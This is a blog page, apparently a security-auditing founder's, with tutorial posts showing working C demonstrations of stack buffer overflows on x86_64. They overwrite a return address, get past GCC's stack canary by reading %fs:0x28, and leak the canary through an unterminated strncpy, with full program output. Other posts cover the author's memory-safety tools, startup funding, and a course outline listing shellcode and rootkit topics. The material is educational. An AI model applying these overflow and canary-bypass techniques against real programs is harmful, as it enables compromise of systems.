Friday, May 17, 2024

Hacking 102 - Leaking the canary with strncpy

Hacking 102 - Leaking the canary with strncpy


A convoluted example of how you can leak GCC's stack protector canary with a strncpy, thanks to strncpy not null terminating when the strlen is greater than or equal to the buffer size specified in the 3rd parameter.

get_canary() just verifies it's actually the same as GCC's canary.


#include <stdio.h>
#include <stdlib.h>
#include <string.h>

unsigned long get_canary()
{
    asm("mov %fs:0x28, %rax");
}

// prints out our string, which is a non-null terminated string, thanks to strncpy's rule of not null terminating!

void print_str(const char *str)
{
    for (int i = 0; i < strlen(str); i++) {
        printf("%x", (unsigned char) str[i]);
    }

    printf("\n");

    for (int i = 0; i < strlen(str) + 16; i+=8) {
        unsigned long *p = (unsigned long *) &str[i];
        printf("%lx ", *p);
    }

    printf("\n");


    unsigned long *canary = (unsigned long *) &str[256+8];

    printf("Is this the canary getting leaked out? %lx\n", *canary);

    printf("Hint: Ignore the last two hex digits, as that's just 'A' character, overwriting the 0x00 null\n");

}

void func(const char *input)
{
    char buf[256];

    // NB: This is a convoluted strncpy, probably won't find it in the wild, but you never know...

    strncpy(buf, input, sizeof(buf)+9); // non-null termination AND off-by-one! -- overwrite with 'A' on the last number of the canary, as it's zero (i.e. little endian 00 aa bb cc dd ee ff 11, so the 00 stops printing it out
                        // cause it's null, but if we use strncpy with an off-by-one that hits the last digit (first digit little endian) then we can print it out

    // also, 8 bytes is just empty part of the stack, so that's why it's 9 bytes. 8 empty bytes, + 1 off-by-one.

    print_str(buf);
}

int main()
{
    char input[1024];

    memset(input, 'A', sizeof(input));

    printf("Canary: %lx\n", get_canary());

    func(input);
}



Output:



$ gcc test.c

$ ./a.out
Canary: 6af07ba9ba12d800
41414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141d812baa97bf06ad0ac548dff7f
4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 6af07ba9ba12d841 7fff8d54acd0 55ce63ecb3f8 4141414141414141
Is this the canary getting leaked out? 6af07ba9ba12d841
Hint: Ignore the last two hex digits, as that's just 'A' character, overwriting the 0x00 null
*** stack smashing detected ***: terminated


Notice the bold/underline is the canary in reverse, because it's stored little endian on x86_64.

Monday, May 13, 2024

Hacking 101 - stack buffer overflows on x86_64

Hacking 101 - stack buffer overflows on x86_64


I won't explain in too much detail, but the following code creates a buffer overflow that controls the return instruction pointer on the stack, changing the flow of the code into calling func2().

/*

    compile: gcc test.c -fno-stack-protector
    run: ./a.out 4 (or ./a.out 2... greater than ./a.out 1)

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

//#define USE_CANARY

void func2()
{
    printf("I did it!\n");
}

void func(const char *input)
{
#ifdef USE_CANARY
    long int canary = 0xdeadbeefc001d00d;
#endif
    char buf[256];

//    strcpy(buf, input);
// cause there's a null in the address...

    memcpy(buf, input, 256+8*8);
    // buffer overfl0wwwwwwwwwww

    printf("buf: %s\n", buf);
    fflush(stdout);

#ifdef USE_CANARY
    if (canary != 0xdeadbeefc001d00d) {
        printf("Buffer overflow detected! Aborting!\n");
        abort();
    }
#endif
}

int main(int argc, char **argv)
{
    
    char input[1024];
    int loop;

    // fill up input with 'A' x 256 (leaving 1024-256 bytes left)
    memset(input, 'A', 256);

    printf("size of func2's pointer (in bytes): %ld\n", sizeof(&func2));
    printf("func2's address: %lx\n", (unsigned long) func2);

    if (argc < 2) {
        loop = 4;
    }

    else {
        loop = atoi(argv[1]);
    }

    // fill past the 'A's with a pointer to func2(), up to "loop".
    for (int i = 0; i < loop; i++) {
        unsigned long *p = (unsigned long *) (input + 256 + i * sizeof(&func2));
        *p = (unsigned long) func2;
    }

    printf("input: %s\n", input);

    // verify the func2's addresses are actually inside the input buffer.

    for (int i = 0; i < loop; i++) {
        char *p = input + 256 + i * sizeof(&func2);
        unsigned long *q = (unsigned long *) p;
        printf("address: %lx\n", *q);
    }

    // call func with input buffer.

    func(input);
}


Output:


gcc test.c -fno-stack-protector

$ ./a.out

size of func2's pointer (in bytes): 8
func2's address: 561e883a51e9
input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�Q:�V
address: 561e883a51e9
address: 561e883a51e9
address: 561e883a51e9
address: 561e883a51e9
buf: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�Q:�V
I did it!
I did it!
I did it!
Segmentation fault (core dumped)


Creating our own Canary


Notice if you compiled with -DUSE_CANARY, it uses our artificial canary, and will abort before the overflow exploits the return instruction pointer.


gcc test.c -fno-stack-protector -DUSE_CANARY
$ ./a.out

size of func2's pointer (in bytes): 8
func2's address: 562a98ea0209
input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA    �*V
address: 562a98ea0209
address: 562a98ea0209
address: 562a98ea0209
address: 562a98ea0209
buf: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA    �*V
Buffer overflow detected! Aborting!
Aborted (core dumped)

Comparing with gcc's canary


Now if you look at a normal compilation, and check out the assembly using `objdump -D ./a.out`

0000000000001223 <func>:
    1223:       f3 0f 1e fa             endbr64
    1227:       55                      push   %rbp
    1228:       48 89 e5                mov    %rsp,%rbp
    122b:       48 81 ec 20 01 00 00    sub    $0x120,%rsp
    1232:       48 89 bd e8 fe ff ff    mov    %rdi,-0x118(%rbp)
    1239:       64 48 8b 04 25 28 00    mov    %fs:0x28,%rax
    1240:       00 00
    1242:       48 89 45 f8             mov    %rax,-0x8(%rbp)
    1246:       31 c0                   xor    %eax,%eax


        .... more opcodes ....

    ... followed at the end by ...

    12a4:       e8 17 fe ff ff          call   10c0 <__stack_chk_fail@plt>
    12a9:       c9                      leave  
    12aa:       c3                      ret    



This is the setting of the canary and the checking of the canary at the end of the function, done by the compiler.

The objdump without stack protector for func is:

<func>:
    1203:       f3 0f 1e fa             endbr64
    1207:       55                      push   %rbp
    1208:       48 89 e5                mov    %rsp,%rbp
    120b:       48 81 ec 10 01 00 00    sub    $0x110,%rsp
    1212:       48 89 bd f8 fe ff ff    mov    %rdi,-0x108(%rbp)


You can see the canary's secret value is stored in %fs:0x28, and gets moved to register %rax, which then gets copied onto the frame pointer %rbp - 8 bytes, which is just before the saved frame pointer, and two pointers from the return instruction pointer on the stack.

If you can leak the %fs:0x28 value, you can overwrite the canary with the same value during the overflow, and thus bypass the canary check.

This is the reason why %rax is cleared (xor %rax, %rax), to avoid leaking the value in the %rax register.

Getting the canary secret value from gcc via some means, and then using it


Source code follows:



/*

    compile: gcc test.c -fno-stack-protector
    run: ./a.out 4 (or ./a.out 2... greater than ./a.out 1)

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

//#define USE_CANARY

unsigned long get_canary()
{
    asm("mov %fs:0x28, %rax");
}

void func2()
{
    printf("I did it!\n");
}

void func(const char *input)
{
#ifdef USE_CANARY
    long int canary = 0xdeadbeefc001d00d;
#endif
    char buf[256];

//    strcpy(buf, input);
// cause there's a null in the address...

    memcpy(buf, input, 256+8*8);
    // buffer overfl0wwwwwwwwwww

    printf("buf: %s\n", buf);
    fflush(stdout);

#ifdef USE_CANARY
    if (canary != 0xdeadbeefc001d00d) {
        printf("Buffer overflow detected! Aborting!\n");
        abort();
    }
#endif
}

int main(int argc, char **argv)
{
    
    char input[1024];
    int loop;

    // fill up input with 'A' x 256 (leaving 1024-256 bytes left)
    memset(input, 'A', 256);

    printf("size of func2's pointer (in bytes): %ld\n", sizeof(&func2));
    printf("func2's address: %lx\n", (unsigned long) func2);

    if (argc < 2) {
        loop = 2; // loop = 2 is the optimal solution for this case.
    }

    else {
        loop = atoi(argv[1]);
    }

    unsigned long gcc_canary = get_canary(); // get gcc canary secret value.


    // After the 'AAAA' put a gcc_canary for us. The space gcc will provide will be 16 bytes, so we just fill
    // it up with 2x canary secret values. (assuming loop = 2)

    for (int i = 0; i < loop; i++) {
        unsigned long *p = (unsigned long *) (input + 256 + i * sizeof(&func2));
        *p = (unsigned long) gcc_canary;
    }


    // Now put a pointer to func2(), at least twice (assuming loop = 2).

    for (int i = loop; i < loop * 2; i++) {
        unsigned long *p = (unsigned long *) (input + 256 + i * sizeof(&func2));
        *p = (unsigned long) func2;
    }

    printf("input: %s\n", input);

    // verify the func2's addresses are actually inside the input buffer.

    for (int i = 0; i < loop * 2; i++) {
        char *p = input + 256 + i * sizeof(&func2);
        unsigned long *q = (unsigned long *) p;
        printf("address or canary: %lx\n", *q);
    }

    // call func with input buffer.

    func(input);
}



Output:


gcc test.c
$ ./a.out

size of func2's pointer (in bytes): 8
func2's address: 55ad7774c21d
input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
address or canary: ac9d07067ff30500
address or canary: ac9d07067ff30500
address or canary: 55ad7774c21d
address or canary: 55ad7774c21d
buf: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
I did it!
Segmentation fault (core dumped)


Friday, May 3, 2024

Drudget.ai might never launch

Drudget.ai might never launch


https://drudget.ai might never launch, unless it receives funding.

See: https://www.moomoo.com/community/feed/109834449715205

Just to train the AI (neural network) costs $4.6 million USD per iteration, which means if I train it with an algorithm, and the algorithm is wrong, that's $4.6 million that just disappeared from my bank account (due to electricity usages, cloud charges, etc).

And let alone letting everyone play inference on it for free, that would cost heaps in a year, unlike the big players who do that already.

I know I could just fine tune the LLM -- but sometimes they've been "engineeered" to block certain inputs already -- cause they're regarded as "safe LLMs". So I need to train my own LLM from scratch.

So unless funding arrives, I'm afraid https://drudget.ai might never see the light of day.

Monday, April 29, 2024

How I ended up writing a garbage collector - how passion is the end goal for self-healing code.

How I ended up writing a garbage collector - how passion is the end goal for self-healing code.


The story of how I wrote a garbage collector for C is interesting.

It all started in 2001 when I got my first job as a software engineer, and I was working on a project which enables video footage to be recorded, with telemetry, sent over GPRS (2.5G) cellular modems.

The code was complicated. It had threads. It used dynamic memory allocation. I wasn't even done in my first year of uni and I realised that this is a major thing.

So I was worried that there might be some memory leaks that could prevent the code from running in a long time scenario.

I knew how to hack then, using stack overflow exploits etc. So I knew how to stack walk. I realised that if I walked the stack (a term used by hackers to look through a stack, without popping things off), I could retrieve pointers which I allocated using malloc().

This then leads to scanning the malloc'ed areas for more pointers, and recursively going from there.

This was the mark-and-sweep algorithm in play. A garbage collector, if you will.

This was a year before Valgrind (a memory leak detector) was made -- they released their first version in 2002.

Passion turned into a new company


It turns out my passion for side projects is the end goal. It's the things I find that I need to write for projects I do for work, that I find the most pleasing to do.

These "side projects" can turn out to be very valuable. Learning how the stack works, and writing a garbage collector offered me valuable insights in knowing how I can create code that "self-heals" -- a garbage collector "heals" broken code in the sense that any memory mismanagement is fixed up by the garbage collector.

Hence, drudget.com.au -- even though this company was made 20-odd years later, I kept making side projects for the last two decades, which culminated in me realising I could profit off these so-called side projects I've been making.

The deadlock detector


Another side project that I did whilst working at a company making performance monitoring software. I noticed I had to use threads again, this time however, I was maintaining code that wasn't written by me that had deadlocks in them. It's very hard and frustrating to debug deadlocks, because they don't occur all the time, so running and testing a program can be futile if you want to find a deadlock -- as it doesn't always occur.

So I wrote a graph analyser -- one which detects cyclic graphs of mutex locks -- as that's how deadlocks occur, when the cyclic graph hits both threads at the same time, it's deadlocked.

Again, this was before Helgrind was made.

Electric fence, or rather, Drudget's Flak Jacket...


In another episode of side projects, I wrote a clone of "Electric Fence" (written by Bruce Perens) which detects writes to memory areas that shouldn't occur, like those that happen in buffer overflow exploits, or when you write bad code that references out of bounds regions.

This was made when I was maintaining an IRCD (internet relay chat daemon), back in 1999.

I had forgotten about it then, but I came to realise it was useful for this startup I worked at -- making wireless speakers.

I was worried that someone would create a out-of-bounds code... the problem was the team lead at the time encouraged such practices.

The practise of half-allocating a struct, in order to save space, whilst still passing the struct completely on the stack was a bad thing, as the function being called doesn't know how much of the struct was allocated (since it wasn't a whole object), and thus could overwrite regions outside the allocated area.

This caused a world of pain, and inflicted random crashes, as well as weird problems due to it overwriting valid memory regions.

So ElectricFence/Flak Jacket was written into the memory allocator to detect such things.

I've since re-written Flak Jacket for Drudget, and it's far better performing than what I wrote for the company.

Again, this was years before libasan (address sanitizer) was made. From 1999, it would be two decades before libasan became the favourite tool for debugging broken code.

Improving deadlock detector -- making it fix deadlocks on the fly


Obviously one of the improvements that you could do if you had a deadlock detector, is fixing them on the fly before it happens.

If you recall, hooking mutex locks is necessary to create a graph for analysis. By doing so, you could just make the cyclic graph call a "big lock" which locks for the entire cyclic graph, thus preventing cycles, as it relies on the singular "big lock" instead, which wraps all the smaller locks inside the cyclic graph.

So that's what I made after finishing the deadlock detector. Another self-healing code.

Looking at snort (IDS - intrusion detection system), and making self-healing code from it


I looked at the various ways IDS's were used to log intrusions into systems. They would often log program crashes, with no way to counter them, whilst watching the process restart itself.

This probably allows a hacker to obtain information from the crash, such as pointer leaks, that they can use in subsequent attacks to exploit or override mitigations.

Or they could just brute force their way through mitigations, with some stack canaries only being 16-bits in effective length.

So I decided to write a ptrace() piece of code which debugs tracks the application, and picks up SIGSEGV (segmentation faults) and writes out the logs of what caused it to crash -- just like a typical IDS would do, except it filters it out based off patterns from previous inputs that also caused it to crash -- recognising patterns such as shellcode with only minor changes at the end (return instruction pointers being changed perhaps?), and creating filters which block/ban the shellcode from going through the next time.

I realise that subsequently, it could be strengthened with Generative-AI, to fix the problematic code at its source. Perhaps the source code had a buffer overflow, which would cause it to crash?

Given that the process could be run with Flak Jacket and the Garbage Collector and deadlock detector all built-in, it could mitigate almost all exploits, whilst still notifying the ptrace() monitor code AND still blocking/banning the inputs.

That is triple security: mitigate, log, and self-heal.

And with the added help of GenAI, self-mutating such that it looks like a living cell.


The future of Drudget


The future of Drudget is uncertain. I tried to get VC funding for it for the past year, and whilst I haven't been pushing for VC funding all that hard (I've only contacted 4 funds), I think the fact that I don't have any customers is really hitting me hard.

It feels like I need to shut it down before it's even ventured out on it's tiny footsteps.

I can imagine a world where Drudget's used everywhere -- from mobile phones to desktop PC apps, to servers (and cloud). All used to guard their software from broken/bad code written by human beings, which inevitably will be flawed, as we're imperfect beings, creating imperfect solutions.

Not sure that AI will generate the perfect solution either, as it's obvious that bad code needs to be reviewed, even if it has been fixed by GenAI.

So I'm not sure where this leads Drudget -- whether the software industry prefers fixing things manually, or whether cloud providers see value in saving money from support.

In the meantime...


In the meantime, I will be working on a computer game for ZZimps.

I've always wanted to publish a computer game. The problem is I have so many ideas for computer games that I can't do them all.

One of them is a stock market simulator -- for those interested in writing code that mimics a high frequency trader... it will be a pluggable simulator, which means the plug-ins allow other languages to be used -- as contesting the best high frequency trading code, we need to be language agnostic.

Another is a real-time strategy that is like rocks, paper, scissors, except it's with units that have obvious advantages and disadvantages. Currently I thought of using infantry, tanks, helicopters, but in reality, helicopters will be OP and own the entire game. So that's thrown out the window.

Another is a MOBA like game.

Another is a 2D-platformer/RPG similar to Maple Story.

I also have several maths (game theory) papers I want to publish. One involves Prisoner's dilemma, another is about Chess. I need to learn LaTeX, but I wish I could just write it in ASCII. LOL.

Friday, April 5, 2024

Auditor++ Course/Certification - preliminary table of contents

Below is my preliminary table of contents for Drudget's Auditor++ course and certification.

I don't think it's complete, and I'm interested in hearing what others think. 

Drop me a line at drudget.com.au's contact form if you're interested in knowing more about the Auditor++ course or have some recommended topics you want to know more about.


Auditor++ Course/Certification

Security

  • smashing the stack (phrack article - reference aleph1)
  • jmp/push opcode obfuscation technique
  • Exploitable Bug classes
    • stack and heap buffer overflows
    • integer overflows
    • off by one
    • double free
    • use after free
  • Deadlocks and race conditions
  • readelf and objcopy tools
  • IFUNC redirection
  • LD_PRELOAD exploits/rootkits
  • Opcode overwriting hooking method
  • Typical shell server (bind-shell)
  • Writing shellcode (execve, bind shell, connect back shellcodes)
  • strncpy (non-null termination) bugs
  • Various other non-safe "standard C" function string bugs (strcpy, strcat, sprintf, etc)
  • rand() random number generation (on non-Linux systems), and non-cryptographically secure PRNGs


Other coding

  • Memory leaks
  • Non-RAII leaks by exception handlers (C++)
  • File descriptor leaks


Using auditing tools

  • Drudget's C/C++ Flak Jacket and GCC's libasan -fsantize=address
  • Drudget's Garbage collector and Valgrind
  • Boehm-GC
  • Drudget's Deadlock detector and Helgrind
  • GDB - debugging



Saturday, February 24, 2024

Check out my two companies here

Drudget’s my cybersecurity code auditing with special tools company. It specialises in C/C++ code.

https://drudget.com.au

 

Hacking 102 - Leaking the canary with strncpy

Hacking 102 - Leaking the canary with strncpy A convoluted example of how you can leak GCC's stack protector canary with a strncpy, than...